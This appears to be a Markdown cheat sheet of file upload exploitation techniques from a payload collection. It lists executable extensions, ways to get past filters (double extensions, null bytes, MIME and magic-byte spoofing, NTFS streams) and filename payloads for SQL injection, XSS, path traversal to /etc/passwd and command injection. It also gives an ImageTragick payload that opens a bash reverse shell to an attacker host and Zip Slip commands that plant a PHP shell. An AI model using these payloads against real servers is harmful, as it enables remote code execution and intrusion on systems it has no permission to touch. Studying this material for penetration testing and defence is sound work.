146 lines
5.8 KiB
Markdown
146 lines
5.8 KiB
Markdown
# Upload
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Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
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## Summary
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* [Tools](#tools)
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* [Exploits](#exploits)
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* [Defaults extensions](#defaults-extension)
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* [Other extensions](#other-extensions)
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* [Upload tricks](#upload-tricks)
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* [Filename vulnerabilities](#filename-vulnerabilities)
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* [Picture upload with LFI](#picture-upload-with-lfi)
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* [Configuration Files](#configuration-files)
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* [CVE - Image Tragik](#cve---image-tragik)
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* [CVE - FFMpeg](#cve---ffmpeg)
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* [ZIP Archive](#zip-archive)
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* [References](#references)
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## Tools
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- [Fuxploider](https://github.com/almandin/fuxploider)
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- [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
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## Exploits
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### Defaults extensions
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* PHP Server
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```powershell
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.php
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.php3
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.php4
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.php5
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.php7
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# Less known PHP extensions
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.pht
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.phps
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.phar
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.phpt
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.pgif
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.phtml
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.phtm
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.inc
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```
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* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
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* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
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* Perl: `.pl, .pm, .cgi, .lib`
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* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
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### Upload tricks
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- Use double extensions : `.jpg.php`
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- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
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- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
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- Null byte (works well against `pathinfo()`)
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* .php%00.gif
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* .php\x00.gif
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* .php%00.png
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* .php\x00.png
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* .php%00.jpg
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* .php\x00.jpg
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- Special characters
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* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
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* Whitespace characters: `file.php%20`
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* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
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- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
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* `Content-Type : image/gif`
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* `Content-Type : image/png`
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* `Content-Type : image/jpeg`
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* Set the Content-Type twice: once for unallowed type and once for allowed.
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- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
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* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
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* PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
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* JPG: `\xff\xd8\xff`
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* GIF: `GIF87a` OR `GIF8;`
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* Shell can also be added in the metadata
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- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
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### Filename vulnerabilities
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- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
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- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
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- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
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- File Traversal e.g. `../../../tmp/lol.png`
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- Command Injection e.g. `; sleep 10;`
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### Picture upload with LFI
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Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
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- Picture Metadata, hide the payload inside a comment tag in the metadata.
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- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
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### Configuration Files
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If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
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If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
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Configuration files examples
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- .htaccess
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- web.config
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- httpd.conf
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- \_\_init\_\_.py
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### CVE - Image Tragik
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Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
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```powershell
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
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pop graphic-context
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```
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More payload in the folder `Picture Image Magik`
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### CVE - FFMpeg
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FFmpeg HLS vulnerability
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### ZIP archive
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When a ZIP/archive file is automatically decompressed after the upload
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* Zip Slip: directory traversal to write a file somewhere else
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```python
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python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
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ln -s ../../../index.php symindex.txt
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zip --symlinks test.zip symindex.txt
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```
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## References
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* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
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* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
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* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
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* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
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* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
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* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) |